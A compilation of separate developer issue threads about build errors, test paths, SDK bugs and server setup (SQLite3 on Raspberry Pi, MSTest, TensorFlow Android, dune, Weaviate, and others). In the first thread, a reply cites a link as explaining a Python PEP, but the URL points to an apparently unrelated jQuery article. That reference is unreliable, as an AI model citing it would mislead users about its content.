SQLite3 Error - Ubuntu 20.04, Node 12.16.3, and Raspberry Pi 4

Hello. I seem to be getting this error when running 'npm install' on Ubuntu 20.04, Node 12.16.3, and Raspberry Pi 4. I am building a Discord bot using Discord.js and updated to version 12 but I am having trouble getting SQLite3 to install. I'm not super familiar with Node.js errors so I'm not entirely sure what it's trying to tell me.
I can provide additional information as needed.
><EMAIL_ADDRESS>install /home/bondbot/server/node_modules/sqlite3
> node-pre-gyp install --fallback-to-build

node-pre-gyp WARN Using needle for node-pre-gyp https download
node-pre-gyp WARN Tried to download(403): https://mapbox-node-binary.s3.amazonaws.com/sqlite3/v4.2.0/node-v72-linux-arm64.tar.gz
node-pre-gyp WARN Pre-built binaries not found for<EMAIL_ADDRESS>and<EMAIL_ADDRESS>(node-v72 ABI, glibc) (falling back to source compile with node-gyp)
make: Entering directory '/home/bondbot/server/node_modules/sqlite3/build'
  ACTION deps_sqlite3_gyp_action_before_build_target_unpack_sqlite_dep Release/obj/gen/sqlite-autoconf-3310100/sqlite3.c
/bin/sh: 1: python: not found
make: *** [deps/action_before_build.target.mk:13: Release/obj/gen/sqlite-autoconf-3310100/sqlite3.c] Error 127
make: Leaving directory '/home/bondbot/server/node_modules/sqlite3/build'
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack     at ChildProcess.onExit (/usr/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:194:23)
gyp ERR! stack     at ChildProcess.emit (events.js:310:20)
gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:275:12)
gyp ERR! System Linux 5.4.0-1008-raspi
gyp ERR! command "/usr/bin/node" "/usr/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/home/bondbot/server/node_modules/sqlite3/lib/binding/node-v72-linux-arm64/node_sqlite3.node" "--module_name=node_sqlite3" "--module_path=/home/bondbot/server/node_modules/sqlite3/lib/binding/node-v72-linux-arm64" "--napi_version=5" "--node_abi_napi=napi" "--napi_build_version=0" "--node_napi_label=node-v72"
gyp ERR! cwd /home/bondbot/server/node_modules/sqlite3
gyp ERR! node -v v12.16.3
gyp ERR! node-gyp -v v5.1.0
gyp ERR! not ok
node-pre-gyp ERR! build error
node-pre-gyp ERR! stack Error: Failed to execute '/usr/bin/node /usr/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js build --fallback-to-build --module=/home/bondbot/server/node_modules/sqlite3/lib/binding/node-v72-linux-arm64/node_sqlite3.node --module_name=node_sqlite3 --module_path=/home/bondbot/server/node_modules/sqlite3/lib/binding/node-v72-linux-arm64 --napi_version=5 --node_abi_napi=napi --napi_build_version=0 --node_napi_label=node-v72' (1)
node-pre-gyp ERR! stack     at ChildProcess.<anonymous> (/home/bondbot/server/node_modules/node-pre-gyp/lib/util/compile.js:83:29)
node-pre-gyp ERR! stack     at ChildProcess.emit (events.js:310:20)
node-pre-gyp ERR! stack     at maybeClose (internal/child_process.js:1021:16)
node-pre-gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:286:5)
node-pre-gyp ERR! System Linux 5.4.0-1008-raspi
node-pre-gyp ERR! command "/usr/bin/node" "/home/bondbot/server/node_modules/.bin/node-pre-gyp" "install" "--fallback-to-build"
node-pre-gyp ERR! cwd /home/bondbot/server/node_modules/sqlite3
node-pre-gyp ERR! node -v v12.16.3
node-pre-gyp ERR! node-pre-gyp -v v0.11.0
node-pre-gyp ERR! not ok
Failed to execute '/usr/bin/node /usr/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js build --fallback-to-build --module=/home/bondbot/server/node_modules/sqlite3/lib/binding/node-v72-linux-arm64/node_sqlite3.node --module_name=node_sqlite3 --module_path=/home/bondbot/server/node_modules/sqlite3/lib/binding/node-v72-linux-arm64 --napi_version=5 --node_abi_napi=napi --napi_build_version=0 --node_napi_label=node-v72' (1)
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself.
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself.
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself.

npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>install: `node-pre-gyp install --fallback-to-build`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR!     /home/bondbot/.npm/_logs/2020-05-16T02_38_41_644Z-debug.log

/bin/sh: 1: python: not found

Either you are missing python, which can be installed through

sudo apt-get install python3

Or you do have python, but the installation procedure isn't finding it.
Investigate the /usr/bin directory and look for a python directory, for example:

npm install --build-from-source --python=/usr/bin/python3

That was it. Thanks for the help. It installed correctly using the second command.

Wait wait wait..
Yes, of course this is a working answer, but the problem isnt addressed.
It's standard for Ubuntu and surely other recent Linux distributions, that there is no python command, only python2 or python3.
Install an Ubuntu 20.04 LTS for a proof.
Then type python.
Nothing happens
If people really think that they are missing python, when they dont, they tend to do:
sudo apt install python
But this package doesnt install python3, but a package called python-is-python2, to have the old default from years ago, that python links to python2 - instead of just not having a "python" command but only a "python2" or "python3" command to force developers to make their intended choices.

Here is a proper description of the current situation, which will be adopted by more and more operating systems in the future, because its a PEP.
https://techsparx.com/nodejs/install/bootstrap-drops-jquery.html
(dont be irritated by the name, its the right page)


DeploymentItem is not os-independant in combination with folders

Describe the bug
Hi,
I hope I am at the right repository for this. If not, please point me to the right one.
DeploymentItem is not os-independant when using it with folders. The folder name must end with /on linux and \on windows.
Thank you.
Steps To Reproduce
Example files:
TestFiles1/some_file1
TestFiles2/some_file2
MyTests.cs
MyTests.csproj

// MyTests.cs
[TestClass]
public class MyTests
{
    [TestMethod]
    [DeploymentItem(@"TestFiles1/")]
    public void TestFailsOnWindows()
    {
        var fs = File.Open(@"some_file1", FileMode.Open);
    }
    [TestMethod]
    [DeploymentItem(@"TestFiles2\")]
    public void TestFailsOnLinuxMac()
    {
        var fs = File.Open(@"some_file2", FileMode.Open);
    }
}

<!--MyTests.csproj-->
<!--...-->
  <ItemGroup>
    <Content Include="TestFiles1\**\*">
      <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
    </Content>
    <Content Include="TestFiles2\**\*">
      <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
    </Content>
  </ItemGroup>

Expected behavior
Using either \ or / on windows, linux or mac should always work.
Actual behavior
Files are not copied to the test directory and the test fails if the wrong format is used.
Additional context
None.

Hi @smorokin, I confirm that I can reproduce the issue even with version 3.0.2.

I can also reproduce it withversion 3.0.3.

You are right, this wasn't yet addressed. I don't have any ETA at the moment as we are dealing with many changes of priorities but will get back to you when possible.

@Evangelic: Sorry, I did not want to bother you. Just tried the new version today and thought I document it here.

No worries @smorokin and sorry if I gave the impression to be annoyed by your comment.

My impression was more "stressed" :-). Thank you for your work!

Thank you @Evangelink !

We don't yet have any ETA for 3.1 but I hope to have it released during the summer (July or August).

Don't worry. I have a working workaround (that throws warnings, but we ignore them). Just annotate twice with '/' and '':
[TestMethod]
[DeploymentItem(@"TestFiles1\")]
[DeploymentItem(@"TestFiles1/")]
public void TestFailsOnWindows()
{
    var fs = File.Open(@"some_file1", FileMode.Open);
}

From my tests it seems that you could simply get rid of the trailing separator. MSTest always tries to first find folder matching the given name and then files.

For folders this should work, yes. We have also the case of
[DeploymentItem(@"TestFiles1\test.txt")]
[DeploymentItem(@"TestFiles1/test.txt")]

where both are neccessary.

I am reopening the issue to confirm this use case is also working (the deployment item part is not well tested).

Hi @Evangelik, sorry to bother you again, but there is still a problem with 3.1.1, but I am not sure if it is possible to improve the solution
As far as I understand there is a general problem with mixing linux and windows paths. Just replacing /
with \ and vice versa will not work in the general case (one example would be /tmp/some\ stuff which is a common valid path under linux, but some\stuff is also a single folder).
The current version does seem to work correctly if using only / on windows and linux, so that is what we will be using to avoid the test deploy warnings
PS:
I've seen you used TrimEnd(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar) to remove a trailing slash, but both Path.DirectorySeparatorChar and Path.AltDirectorySeparatorChar resolve to / on linux (see doc). Hardcoding seems to be the better solution.
Also it seems that your CI pipeline does never run tests under linux, otherwise this test you added should have failed. I suspect that there might be more bugs hidden by this.

Also it seems that your CI pipeline does never run tests under linux, otherwise this test you added should have failed. I suspect that there might be more bugs hidden by this.

 This is a chore task I want to work on for some time now but it's sadly always getting unprioritized. It's not super complex but requires a bit of work as the project itself doesn't build on Linux so we would need either some partial build or to retrieve the binaries built on windows to run the (non-Windows specifics) tests on Linux!

I've seen you used TrimEnd(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar) to remove a trailing slash, but both Path.DirectorySeparatorChar and Path.AltDirectorySeparatorChar resolve to / on linux (see doc). Hardcoding seems to be the better solution.

Oh right, I definitely didn't consider all cases there... I am opening a ticket for that part (see #1730).

As far as I understand there is a general problem with mixing linux and windows paths. Just replacing /
with \ and vice versa will not work in the general case (one example would be /tmp/some\ stuff which is a common valid path under linux, but some\stuff is also a single folder).

Indeed that seems like a complex scenario... At the same time if "some\ stuff" is supposed to be the folder to copy that means this is something that will work only on Linux so there is no big issue. Maybe we could introduce some escaping, if you use the escaping then we don't normalize the path.


⚠ Bofrost.at has degraded performance

In e83910a, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1476 ms

Resolved: Bofrost.at performance has improved in f96a434 after 6 minutes.


I get error not found symbol variable "Fill" in Zeros class

Hello guys i get error in Zeros class for not found symbol variable "Fill" in android studio and in Build panel showing this error and not running sample app from tensorflow to my android devices
error: cannot find symbol variable Fill where T is a type-variable: T extends Object declared in class Zeros

Thank you for your post. We noticed you have not filled out the following field in the issue template. Could you update them if they are relevant in your case, or leave them as N/A? Thanks.
Have I written custom code
OS Platform and Distribution
TensorFlow installed from
TensorFlow version
Bazel version
CUDA/cuDNN version
GPU model and memory
Exact command to reproduce
Mobile device

Trying to build android source folder from tensorflow examples.
Using Linus 16.04 LTS
Tensorflow installed via pip.

I think it is some bug with new version. Just run ```git checkout `git rev-list -n 1 --before="2018-06-27 13:37" master````, it gets you back a few commits before issue and before Zero.java existing. I've tested it already and it compile without errors.

Hi wojciradom,
Thanks for the reply. I tried running the command, but I get the following errors. Any suggestions on how I could fix this.
Thanks,

I think you forgot change nativeBuildSystem to none.

Open the build.gradle file (you can go to 1:Project in the side panel and find it under the Gradle Scripts zippy under Android). Look for the nativeBuildSystem variable and set it to none if it isn't already:

// set to 'bazel', 'cmake', 'makefile', 'none'
def nativeBuildSystem = 'none'

I was running into this issue and can confirm that setting def nativeBuildSystem = 'none' and then running ./gradlew installDebug worked with the latest master branch without rewinding back to any previous revision. No idea if that works in Android Studio or not, though.

It has been 14 days with no activity and the awaiting response label was assigned. Is this still an issue?

I got the same issue
Just upgarde build grade as the same version as your android studio version
for mine is:
dependencies {
classpath 'com.android.tools.build:gradle:3.1.4' // android 3.1.4
classpath 'org.apache.httpcomponents:httpclient:4.5.4'
}
then issue you can run and see TF sample apk installed: TF Classify, TF Detect, TF Speech, TF Stylize

I ran following commands:
git rev-list -n 1 --before="2018-06-27 13:37" master
git checkout de93bd503a0f7ea8b326f17a95b18127716adc41
and change
def nativeBuildSystem = 'none' //from 'bazel' in build.gradle
I still have this error in Android studio (version 3.2)
"Execute task action 4/4 for :compileDebugJavaWithJavac"

ok. finally, made it work. Here is what I did.

updated to Android Studio to the latest (version 3.2)
git to master
commit cc5555d3d3daa64f462cc7f8d31fe915073429f4 (HEAD, origin/master, origin/HEAD, master)
change this line in build.gradle:
classpath 'com.android.tools.build:gradle:3.1.4' //3.0.1'
import to Android Studio (just installed whatever it recommended)

Does this issue still exist ?

@koy14400 's answer helps me. Otherwise, after install the app, there are four app of Tensorflow and all of them are crash to open. Anybody know this issue?

Still an issue.

@Synless Please open a new issue New Issue Template and report your problem.
We ask users to use the template because it reduces overall time to resolve a new issue by avoiding extra communication to get to the root of the issue. We will keep this issue closed in lieu of the new one you will create from the template. Thank you for your cooperation.


Port to dune

I don't have too much experience with dune, but I thought I'd give it a shot.
I'm looking for feedback on the following things:

I've specified all dependencies previously mentioned in _tags. Due to implicit_transitive_deps however some of those were unnecessary, e. g. mirage-crypto.  Disabling implicit_transitive_deps however would require adding libraries we don't use directly, like sexplib0.
I've had to add version constraints for all dependencies that didn't have them for the dune opam autogeneration to work (it only allows dependencies without constraints if they are associated with a stage :question: :confused: :question: ). For this I just added the version of the package I had installed, mostly the latest version, this is probably not the best option. The packages in question are: mirage-crypto, mirage-crypto-pk, lwt, astring, sexplib, hex, uchar, cstruct-lwt and base64.
I currently have trouble with dune utop, i. e. ld can't find some symbols of notty. I'm really not sure if this might be caused by my local setup, maybe someone else can test this as well with my changes.
Anything I've missed :)

thank you very much for doing this work. I have not yet reviewed in detail, but to answer your questions:

I'm fine to drop mirage-crypto dependency, since it is not needed (mirage-crypto-pk is used inside of jackline, but not mirage-crypto)
lower bounds of dependencies: what you did is good (use the most recent ones / the ones installed)
dune utop I'll try to investigate what is up there
CI failure is on 4.07, and I think we should just drop <4.08 (recent mirage-crypto releases have a lower bound on 4.08, and I don't see much point in keeping backwards compatibility), and at the same time get CI to build 4.08, 4.09, 4.10, soon 4.11 (likely needs to wait until there's camlp4 for 4.11)

I'm not sure I'll be able to review and merge before I leave for a week of vacation, thus sorry if the merge is delayed. I'll definitively work on merging it later in August.

No need for a rush, I hope you'll have a nice vacatation :)
I've removed mirage-crypto, moved the lower bound for ocaml to 4.08 and also tried to change the travis config, I hope this works also in the PR. Also: I was under the impression there was no camlp4 for ocaml >= 4.09 at all?
For the utop issue: My error is here, I guess it could be a NixOS-related issue, but I'm not sure what exactly is missing in ld's search path since I'm not to familiar with how OCaml linking and especially this utop feature works.

Thanks, this looks nice. I pushed some minor tweaks, and will merge if CI succeeds.

I currently have trouble with dune utop, i. e. ld can't find some symbols of notty. I'm really not sure if this might be caused by my local setup, maybe someone else can test this as well with my changes.

For me on a FreeBSD system, dune utop works nicely. A utop session uses the bytecode (interpreted) OCaml -- and thus needs to load libnotty_unix_stubs.a -- maybe this is not properly installed on your system?

I was under the impression there was no camlp4 for ocaml >= 4.09 at all?

camlp4 is these days maintained by community (mainly ygrek) under https://github.com/camlp4/camlp4 -- and already a compatibility release for ocaml 4.11 is out (though there was discussion to bury it on discuss.ocaml.org -- eventually jackline should move forward to a different (camlp4-free) xmpp stack (https://github.com/jeffa5/mirage-xmpp).

and already a compatibility release for ocaml 4.11 is out

Alright, I guess I'll have to get on packaging the newer camlp4 versions for NixOS sooner or later.

and thus needs to load libnotty_unix_stubs.a -- maybe this is not properly installed on your system?

I'll look into it, I suspect our OCaml packages don't install bytecode libs or something?!


Add trace for moveable tiles

Prevent placement of movable blocks at these locations

What's left:

[ ]  Implement the UpdateRenderer() methodo of PlaceholderPreviewer.
[ ]  Reduce calls to that method to improve performance
[ ] Automatically refit the mesh and particle emissions based on the shape of the traces.


Initial vision API addition.

Fairly rough and a lot of conversation to be had.

[ ] Face
[ ] Landmark
[ ] Logo
[ ] Label
[ ] Text
[ ] Safe Search

Examples to play with
>>> from gcloud.vision import Client
>>> vc = Client('ferrous-arena')
>>> f = open('/tmp/car.jpg', 'r')
>>> vc.annotate(f.read(), 'LABEL_DETECTION', 3)
>>> vc.annotate('gs://ferrous-arena-my-test-bucket/car.jpg', 'LABEL_DETECTION', 3)

vc.annotate(f.read(), 'LABEL_DETECTION', 3)

I'd prefer constants over strings, even if they semantically mean the same thing:
vc.annotate(f.read(), vision.LABEL_DETECTION, 3)

Rather than writing and dumping all this code, please draft a vision-usage.rst doc and we can discuss features before there is code.
Once we agree on something, try to land them feature by feature so review doesn't become unmanageable. (e.g. you couldn't just sent a tiny PR with the Connection, then a tiny PR with the Client and then build up the client for each feature).
(PS I know I "broke the rules" in #1772 however the entire API is contained in three methods so I did it "on purpose" / was aware it was a bit of a brain dump.)

(PS I know I "broke the rules" in #1772 however the entire API is contained in three methods so I did it "on purpose" / was aware it was a bit of a brain dump.)

#1772 has have 70+ comments on it, which is a sign that we should've argued out the API surface first. :)

@tseaver I totally agree and wish I had done that.

Ok, I'll make a PR with just a vision-usage.rst and then we can talk about it there.

In favor of #1809 ans subsequent.


Error when running from sources

 ERR No extension gallery service configured.: Error: No extension gallery service configured.
    at ExtensionGalleryService.query (file:///Users/alex/src/vscode/out/vs/platform/extensionManagement/node/extensionGalleryService.js:298:56)
    at ExtensionTipsService.processConfigContent (file:///Users/alex/src/vscode/out/vs/workbench/parts/extensions/electron-browser/extensionTipsService.js:218:41)
    at file:///Users/alex/src/vscode/out/vs/workbench/parts/extensions/electron-browser/extensionTipsService.js:165:58
    at Object.notifySuccess [as _notify] (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1185:59)
    at Object.enter (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:867:30)
    at Promise_ctor._run (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1083:29)
    at Promise_ctor._completed (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1051:18)
    at argDone (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1828:37)
    at Promise.then.errors.(anonymous function) (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1853:78)
    at Object.notifySuccess [as _notify] (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1185:59)
    at Object.enter (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:867:30)
    at _Base.Class.derive._creator._run (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1083:29)
    at _Base.Class.derive._creator._completed (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1051:18)
    at Object.notifySuccess [as _notify] (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1185:59)
    at Object.enter (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:867:30)
    at Promise_ctor._run (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1083:29)
    at Promise_ctor._completed (file:///Users/alex/src/vscode/out/vs/base/common/winjs.base.js:1051:18)
    at IconvLiteDecoderStream.<anonymous> (file:///Users/alex/src/vscode/out/vs/workbench/services/files/electron-browser/fileService.js:187:73)
    at emitNone (events.js:111:20)
    at IconvLiteDecoderStream.emit (events.js:208:7)
    at endReadableNT (_stream_readable.js:1056:12)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)
    at process._tickCallback (internal/process/next_tick.js:180:9)

I am just interacting with the extensions viewlet.

There is a check in place that ensures processConfigContent never gets called if the gallery is not configured, so I don't see how this can happen. I am not able to repro either.
Can you provide more details about your setup and what actions you were performing?

Perhaps it has something to do with isEnabled not being invoked as a function.
Perhaps
if (!this.isEnabled) { return TPromise.as([]); }

should be
if (!this.isEnabled()) { return TPromise.as([]); }

at this location

Thanks @alexandrudima. That must be it.
@JacksonKearl This got introduced in #51941. This test case was supposed to cover the case of no gallery service. Can you fix this and see why the test case wasn't failing?


Adding allowLeadingUnderscore option to existing jsx-pascal-case rule

Fixes #2603

Adds a new optional allowLeadingUnderscore property to the existing jsx-pascal-case rule.
Updates documentation to clearly explain when not to use it
Updates unit tests to ensure coverage

@mwaddell however, because you made this PR from a fork you don't own, i can't rebase and force push to the PR branch (due to a github bug). can you add me to https://github.com/pangaeatech/eslint-plugin-react so i can land this?

Codecov Report

Merging #3039 (8cd1b5a) into master (be06fa4) will increase coverage by 0.01%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master    #3039      +/-   ##
==========================================
+ Coverage   97.38%   97.40%   +0.01%
==========================================
  Files         111      111
  Lines        7426     7428       +2
  Branches     2713     2715       +2
==========================================
+ Hits         7232     7235       +3
+ Misses        194      193       -1

Impacted Files
Coverage Δ

lib/rules/jsx-pascal-case.js
100.00% <100.00%> (+1.51%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update be06fa4...8cd1b5a. Read the comment docs.

Replaced by #3041 which is from my own repo instead of my company's


Having a difficult time figuring why server is not deploying (DawnCraft Modpack)

Describe the problem
Im currently trying to run the DawnCraft modpack so my friends and I can enjoy it, but even after reading the whole documentation and trying every single fix, Im still not able to deploy the server. The only error messages I get are the zip END header not found, otherwise everything seems to working fine
Container definition
version: "3.9"
services:
mc:
image: itzg/minecraft-server
tty: true
stdin_open: true
ports:
- "25565:25565"
environment:
TYPE: AUTO_CURSEFORGE
CF_API_KEY:
CF_PAGE_URL: https://www.curseforge.com/minecraft/modpacks/dawn-craft/files/4900467
EULA: "TRUE"
MEMORY: "12G"
volumes:
# attach the relative directory 'data' to the container's /data path
- C:\mcserver:/data
Container logs
2024-05-19 15:31:07 Exception in thread "main" cpw.mods.niofs.union.UnionFileSystem$UncheckedIOException: java.util.zip.ZipException: zip END header not found
2024-05-19 15:31:07 Caused by: java.util.zip.ZipException: zip END header not found
2024-05-19 15:31:08 2024-05-19T13:31:08.082Z    WARN    mc-server-runner        Minecraft server failed. Inspect logs above for errors that indicate cause. DO NOT report this line as an error.        {"exitCode": 1}
2024-05-19 15:31:08 2024-05-19T13:31:08.082Z    INFO    mc-server-runner        Done

That type of error usually indicates a corrupted file and/or download that redirected to an html page.
If you can identify what files might be doing that, try manually deleting them and letting the startup redownload.

after replacing those files, I now happen to get an error that one mod is not loading,
-- Head --
Thread: main
Stacktrace:
at net.minecraftforge.fml.loading.RuntimeDistCleaner.processClassWithFlags(RuntimeDistCleaner.java:57) ~[fmlloader-1.18.2-40.2.9.jar%2318!/:1.0] {}
-- MOD compasscoords --
Details:
Caused by 0: java.lang.ExceptionInInitializerError
at java.lang.Class.forName0(Native Method) ~[?:?] {re:mixin}
even tho i let excluded this mod in the enviroment in my docker compose with the Profiled ID of the mod.
CF_EXCLUDE_MODS: "368398"

no clue but its working now, ty for this awesome container !XD

I was having a similar issue, and what fixed it for me was also deleting the mods folder to force Forge to redownload them, but this time not including compass-coords.


Problem

I want to add a new License to a user:
newLicense := msgraph.AssignedLicense{
	SKUID:         &skui,
}

_, err = p.graphClient.Users().ID(*user.ID).AssignLicense(&msgraph.UserAssignLicenseRequestParameter{
	AddLicenses:    []msgraph.AssignedLicense{newLicense},
	RemoveLicenses: []msgraph.UUID{},
}).Request().Post(p.ctx)

I Get this response:
400 Bad Request: {"error":{"code":"Request_BadRequest","message":"Cannot convert a primitive value to the expected type 'Edm.Guid'. See the inner exception for more details.","innerError":{"date":"2020-04-16T22:07:51","request-id":"7d9ce15b-053c-47da-9bc7-c19eb0335462"}}}
what I am doing wrong?

That error message implies you passed a non-GUID string as SKUID.
Another problem I found today is that you cannot omit removeLicenses for assignLicense action parameter, but for now it's impossible to pass an empty slice for it with UserAssignLicenseRequestParameter (because of json:"removeLicenses,omitempty").  I suggest the following as a workaround:
guid := msgraph.UUID("c42b9cae-ea4f-4ab7-9717-81576235ccac")
reqObj := map[string]interface{}{
	"addLicenses":    []msgraph.AssignedLicense{msgraph.AssignedLicense{SKUID: &guid}},
	"removeLicenses": []msgraph.UUID{},
}
err := graphClient.Me().Request().JSONRequest(ctx, "POST", "/assignLicense", reqObj, nil)
if err != nil {
	log.Println(err)
}

Yet another information for you: I'm planning to rename msgraph.UUID to msgraph.GUID, so please prepare for the changes in future release.


[ADD] options to set text stroke width and color

Adding strokeWidth and strokeColor to options; enhancement

Thank you! 😆


avoid build script failed if multi path exist in GOPATH

Signed-off-by: Crazykev<EMAIL_ADDRESS>

@Crazykev Thanks for the fix. There are some conflicts, could you rebase pls?

yep, I have opened another one. #8


requestTimeoutMs can't be set to a value higher than 60 seconds

[x] I've gone though Developer Guide and API reference
[x] I've searched for previous similar issues and didn't find any solution

Describe the bug
Aws::Client::ClientConfiguration.requestTimeoutMs should represent the "socket read timeout" according to the docs. It seems to work as expected for values up to 60 seconds. However, even if set to a value higher than 60 seconds, if the server has response times higher than that, the request will fail with a timeout.
SDK version number
1.7.177
Platform/OS/Hardware/Device
Ubuntu 20.04
To Reproduce (observed behavior)
set requestTimeoutMs to a value higher than 60 seconds, then try to perform an operation that takes longer than that to reply
Expected behavior
Either the documentation should report a max value for the setting, or the setting should accept any value (which would be preferable)
Logs/output
after 60 seconds I get this error:
[ERROR] 2021-03-11 10:28:33.117 CurlHttpClient [140377922628928] Curl returned error code 28 - Timeout was reached [ERROR] 2021-03-11 10:28:33.117 AWSClient [140377922628928] HTTP response code: -1 Exception name: Error message: Unable to connect to endpoint 0 response headers:

Hi @simonebaracchi ,
Sorry for the lack of response here, can you specify what service call you're trying to use here?
Different api's have different timeout limits and those are documented on the service limitations...
That being said, depending on what service you are talking about it might still be a bug.

I'm using the S3 read and write APIs.On Jun 4, 2021 21:49, Gilberto Lopez Zayas @.***> wrote:
Hi @simonebaracchi ,
Sorry for the lack of response here, can you specify what service call you're trying to use here?
Different api's have different timeout limits and those are documented on the service limitations...
That being said, depending on what service you are talking about it might still be a bug.
—You are receiving this because you were mentioned.Reply to this email directly, view it on GitHub, or unsubscribe.


Text in comments distorted.

 How to fix this issue?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 0d87634e-4198-6552-6e5c-c81adf5c171c
Version Independent ID: feff5377-0ce1-f08e-ed65-74c760525cc1
Content: How to: Add Comments to Class Diagrams (Class Designer) - Visual Studio
Content Source: docs/ide/class-designer/how-to-add-comments-to-class-diagrams.md
Product: visual-studio-windows
Technology: vs-ide-general
GitHub Login: @TerryGLee
Microsoft Alias: tglee

@Sunburst275 -- thank you for your feedback; we appreciate it. To make sure that this is logged in the right place, please use the Report a Problem tool to report the issue. When you do so, your report becomes part of the work items that are listed in the in the Visual Studio Developer Community, which allows you to engage directly with the engineering team while they address and fix the problem.


Not able to connect to weavaiate on Kubernetes cluster  from vectorDBBench

Hi,
I am trying to run vectorDBBench on the weaviate Kubernetes cluster and not on the weaviate cloud. I am getting below error such that :
failed to run, reason=Weaviate did not start up in 5 seconds. Either the Weaviate URL http://<IP_ADDRESS>:80/v1  is wrong or Weaviate did not start up in the interval given in 'startup_period”
Can I know if the code in vectorDBBench is meant to connect only to weaviate cloud but not to local weaviate Kubernetes cluster?

what is the error you it?
I guess you probaly need a url issue or network issue or some authentication

but we need errors

Below is the error  I get  after running start init command in vectordbBench:
2024-11-05 12:51:19,771 | INFO: Starting run (task_runner.py:100) (1839131)
2024-11-05 12:51:27,986 | WARNING: pre run case error: Weaviate did not start up in 5 seconds. Either the Weaviate URL http://localhost:50051 is wrong or Weaviate did not start up in the interval given in 'startup_period'. (task_runner.py:96) (1839131)
2024-11-05 12:51:27,986 | WARNING: [1/1] case {'label': <CaseLabel.Performance: 2>, 'dataset': {'data': {'name': 'Cohere', 'size': 1000000, 'dim': 768, 'metric_type': <MetricType.COSINE: 'COSINE'>}}, 'db': 'WeaviateCloud'} failed to run, reason=Weaviate did not start up in 5 seconds. Either the Weaviate URL http://localhost:50051 is wrong or Weaviate did not start up in the interval given in 'startup_period'. (interface.py:184) (1839131)
Traceback (most recent call last):
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/vectordb_bench/interface.py", line 165, in _async_task_v2
case_res.metrics = runner.run(drop_old)
^^^^^^^^^^^^^^^^^^^^
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/vectordb_bench/backend/task_runner.py", line 102, in run
self._pre_run(drop_old)
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/vectordb_bench/backend/task_runner.py", line 97, in _pre_run
raise e from None
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/vectordb_bench/backend/task_runner.py", line 88, in _pre_run
self.init_db(drop_old)
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/vectordb_bench/backend/task_runner.py", line 78, in init_db
self.db = db_cls(
^^^^^^^
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/vectordb_bench/backend/clients/weaviate_cloud/weaviate_cloud.py", line 36, in init
client = Client(**db_config)
^^^^^^^^^^^^^^^^^^^
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/weaviate/client.py", line 150, in init
self._connection = Connection(
^^^^^^^^^^^
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/weaviate/connect/connection.py", line 162, in init
self.wait_for_weaviate(startup_period)
File "/home/ubuntu/myvenv/lib/python3.11/site-packages/weaviate/connect/connection.py", line 642, in wait_for_weaviate
raise WeaviateStartUpError(
weaviate.exceptions.WeaviateStartUpError: Weaviate did not start up in 5 seconds. Either the Weaviate URL http://localhost:50051 is wrong or Weaviate did not start up in the interval given in 'startup_period'.
2024-11-05 12:51:27,988 | INFO |Task summary: run_id=0840e, task_label=2024110512 (models.py:355)
2024-11-05 12:51:27,988 | INFO |DB            | db_label case              label      | load_dur    qps        latency(p99)    recall        max_load_count | label (models.py:355)
2024-11-05 12:51:27,988 | INFO |------------- | -------- ----------------- ---------- | ----------- ---------- --------------- ------------- -------------- | ----- (models.py:355)
2024-11-05 12:51:27,988 | INFO |WeaviateCloud |          Performance768D1M<PHONE_NUMBER> | 0.0         0.0        0.0             0.0           0              | x     (models.py:355)
2024-11-05 12:51:27,988 | WARNING: Replacing existing result with the same file_name: /home/ubuntu/myvenv/lib/python3.11/site-packages/vectordb_bench/results/WeaviateCloud/result_20241105_2024110512_weaviatecloud.json (models.py:209) (1839131)
2024-11-05 12:51:27,988 | INFO: write results to disk /home/ubuntu/myvenv/lib/python3.11/site-packages/vectordb_bench/results/WeaviateCloud/result_20241105_2024110512_weaviatecloud.json (models.py:213) (1839131)
